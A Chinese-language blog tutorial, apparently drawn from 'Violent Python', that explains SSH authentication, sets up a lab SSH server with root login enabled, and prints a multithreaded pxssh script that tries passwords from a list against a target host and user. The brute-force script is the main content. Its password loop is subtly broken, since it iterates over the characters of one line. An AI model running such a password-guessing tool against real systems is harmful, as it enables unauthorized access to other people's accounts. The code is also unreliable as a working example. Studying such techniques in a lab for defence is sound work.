用Pxssh暴力破解SSH密碼
參考于《python絕技 運用python成為頂級黑客》
1. SSH相關介紹:
SSH是主要用于為遠端登陸會話提供安全保障的協定(即實作遠端指令行操作)
SSH可提供兩種級别的安全驗證:
1.基于密碼的安全驗證:
通過帳号和密碼登入到遠端主機
攻擊方式:暴力破解 / “中間人”攻擊
這裡需要說明一下:在暴力破解時,輸錯多次密碼會斷掉連接配接,這時重新連接配接即可,有的伺服器錯誤次數太多了還會鎖IP,那這方法就不行了。(之前有考慮過用python改IP再重新連接配接,但由于無法接收到伺服器回彈的ssh連接配接,就放棄這種操作了。)
2.基于密匙的安全驗證:
需要依靠密匙,也就是你必須為自己建立一對密匙,并把公用密匙放在需要通路的伺服器上。如果你要連接配接到SSH伺服器上,用戶端軟體就會向伺服器送出請求,請求用你的密匙進行安全驗證。
攻擊方式:暴力破解(網絡上可以下載下傳所有的1024位/2048位密鑰,但量太大,據一位大佬說:這個破解就不要去想了,難度極大,并且目前大部分都是使用基于密匙的安全驗證)
2. 環境搭建:
我們可以再虛拟機上搭建ssh服務,用主機進行連接配接
1.安裝ssh服務:
redhat,fedora,centos等系列linux發行版:sudo yum install sshd
debian,ubuntu,linux mint等系列的linux發行版:sudo apt-get install sshd
2.開啟ssh服務:sudo service sshd start
3.檢視ssh服務狀态的指令:sudo service sshd status
4.ssh服務配置檔案:/etc/ssh/sshd_config
注意配置檔案的以下參數:
#LoginGraceTime 2m #限制使用者必須在指定的時限(機關秒)内認證成功,0 表示無限制
PermitRootLogin yes #是否允許 root 登入,預設為no,請修改為yes,注意去掉前面的‘#’才能生效
#MaxAuthTries 6 #指定每個連接配接最大允許的認證次數
#MaxSessions 10 #最大保持連接配接數
#PubkeyAuthentication yes #是否支援公鑰安全驗證
如果ssh遠端連接配接不上,請确認防火牆是否放行ssh端口,和配置檔案中PermitRootLogin yes允許 root 登入是否生效
5.連接配接ssh:
主機cmd下執行:
ssh [email protected]
例如:ssh root @ 127.0.0.1
然後按照提示輸入yes,輸入密碼。
3.子產品講解:
pxssh:
pxssh是一個包含了pexpect庫的專用腳本(似乎還不能再windows下使用),它能用預先寫好的login(),logout(),prompt()等函數直接與SSH進行互動
當然,pexpect庫主要用于與SSH進行互動,不過有些代碼得自己寫,這裡還是用pxssh吧
optparse:
用來給自己寫的函數 設定如何輸入,輸入什麼類型的值,以及設定幫助說明等。
如果不太了解怎麼使用,可以看看我之前的 python 編寫端口掃描器 中有對該子產品的詳細說明和示例:python 編寫端口掃描器
threading:
多線程子產品
簡單來說就是這樣用:
t=Thread(target=connect,args=(host,user,password,True)) #相當于調用connect()函數
child=t.start() #啟動函數
#啟動一個線程就是把一個函數傳入并建立Thread執行個體,然後調用start()開始執行
#這裡多線程調用connect()函數,參數為args
詳情可以看看别人的:廖雪峰的官方網站-python
BoundedSemaphore()對象:
不過,本次還用到了一個不太常見的threading子產品中的BoundedSemaphore()函數。
我們可以把它了解為一個類似計數器的對象,該對象會檢查内部計數器的值,并保證它不會大于某個初始設定的值,如果大于了,就會引發一個錯誤。
而調用 acquire() 會使這個計數器 -1,release() 則是+1。
另外計數器的值永遠不會小于 0,當計數器到 0 時,再調用 acquire() 就會阻塞,直到其他線程來調用release()。
簡單的使用方式:
from threading import *
connection_lock=BoundedSemaphore(value=5)
#建構一個類似計數器的對象connection_lock,該對象會檢查内部計數器的值,并保證它不會大于初始值value,如果超了,就引發一個ValueError。
connection_lock.release() #connection_lock計數器值+1
connection_lock.acquire() #connection_lock計數器值-1
4.代碼講解:
注意以下内容可以更好的幫我們了解程式:
BoundedSemaphore()計數器的使用和數值的變化
全局變量found 和 fails 的變化
布爾型變量release 和 release() 計數器+1函數的區分
多線程子產品的運作過程
程式的(前半部分)連接配接函數connect():
from pexpect import pxssh
import optparse
import time
from threading import * #多線程子產品
maxconnections=5
connection_lock=BoundedSemaphore(value=maxconnections)
#建構一個類似計數器的對象,該對象會檢查内部計數器的值,并保證它不會大于初始值value,如果超了,就引發一個ValueError。
#該對象在内部管理着一個計數器。調用 acquire() 會使這個計數器 -1,release() 則是+1.
#計數器的值永遠不會小于 0,當計數器到 0 時,再調用 acquire() 就會阻塞,直到其他線程來調用release()
found=False
fails=0
def connect(host,user,password,release):
#布爾變量release,因為connect()可以遞歸調用另一個connect(),
#我們必須讓不是connect()遞歸調用的connect()函數才能釋放connection_lock信号
global found
global fails
try:
s=pxssh.pxssh()
s.login(host,user,password)
print('[+] password found: '+ password)
found=True
except Exception as e:
if 'read_nonblocking' in str(e): #異常顯示為read_nonblocking,可能是ssh伺服器被大量的連接配接刷爆了,可以等待片刻後再嘗試連接配接
fails +=1
time.sleep(5)
connect(host,user,password,False) #再次進行連接配接
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host,user,password,False)
finally: #finally:無論是否有異常産生,均執行
if release: connection_lock.release() #release()使該計數器對象connection_lock值+1
比較有借鑒意義的是connect()函數對連接配接所出現的各種情況的考慮
正如書上所說:
connect()函數,如果login()函數執行成功,并且沒有抛出異常,我們将列印一個消息,表明密碼已被找到,并把表示密碼已被找到的全局布爾值設為true 。否則,我們将捕獲該異常。如果異常顯示密碼被拒絕,我們知道這個密碼不對,讓函數傳回即可。但是,如果異常顯示socket為"read_nonblocking",可能是SSH伺服器被大量的連接配接刷爆了,可以稍等片刻後用相同的密碼再試一次。此外,如果該異常顯示pxssh指令提示符提取困難,也應等待一會兒,然後讓它再試一次。請注意,在connect()函數的參數裡有一個布爾量release。由于connect()可以遞歸地調用另一個connect(),我們必須讓隻有不是由connect()遞歸調用的connect()函數才能夠釋放connection_lock信号。
主函數部分:
def main():
parser=optparse.OptionParser('usage%prog '+'-H <target host> -u <user> -F <password list>')
parser.add_option('-H',dest='tgtHost',type='string',help='specify tgrget host')
parser.add_option('-F',dest='passwdFile',type='string',help='specify password file')
parser.add_option('-u',dest='user',type='string',help='specify the user')
(options,args)=parser.parse_args() #options是一個對象,儲存有之前接收到的指令行參數值
host=options.tgtHost
passwdFile=options.passwdFile
user=options.user #上面三行,将通過指令行輸入的數值依次指派給相應參數
if host==None or passwdFile==None or user==None: #如果沒有接收到相應參數,即輸出usage,程式結束
print(parser.usage) #即輸出 'usage%prog '+'-H <target host> -u <user> -F <password list>'
exit(0)
user=options.user #?
fn=open(passwdFile,'r')
user=options.user #?
for line in fn.readline():
user=options.user
if found:
print('[*] exiting: password found')
exit(0)
if fails>5:
print('[*] exiting: too many socket timeout')
exit(0)
connection_lock.acquire() #acquire()會使這個計數器值 -1
password=line.strip('\r').strip('\n')
print('[-] testing: '+ str(password))
t=Thread(target=connect,args=(host,user,password,True)) #相當于調用connect()函數
child=t.start()
# 啟動一個線程就是把一個函數傳入并建立Thread執行個體,然後調用start()開始執行
#多線程調用connect()函數,參數為args
if __name__=='__main__':
main()
比較讓我無法了解的是程式中為什麼要重複使用user=options.user (在上述代碼中已用’#?'标出)
在pycharm中設定好參數例如:-H 192.168.10.10 -u root -F pass.txt
點選運作我們會得到這樣的錯誤:
Traceback (most recent call last):
File "G:/PycharmProjects/Pxssh/px ssh.py", line 1, in <module>
from pexpect import pxssh
File "D:\Anaconda3\lib\site-packages\pexpect\pxssh.py", line 23, in <module>
from pexpect import ExceptionPexpect, TIMEOUT, EOF, spawn
ImportError: cannot import name 'spawn'
Process finished with exit code 1
查詢之後才發現,pexpect和pxssh腳本還不能在windows的标準 python 環境中執行
那真是太糟糕了,既然這樣,不如先了解一下代碼,等以後想起來了再嘗試一下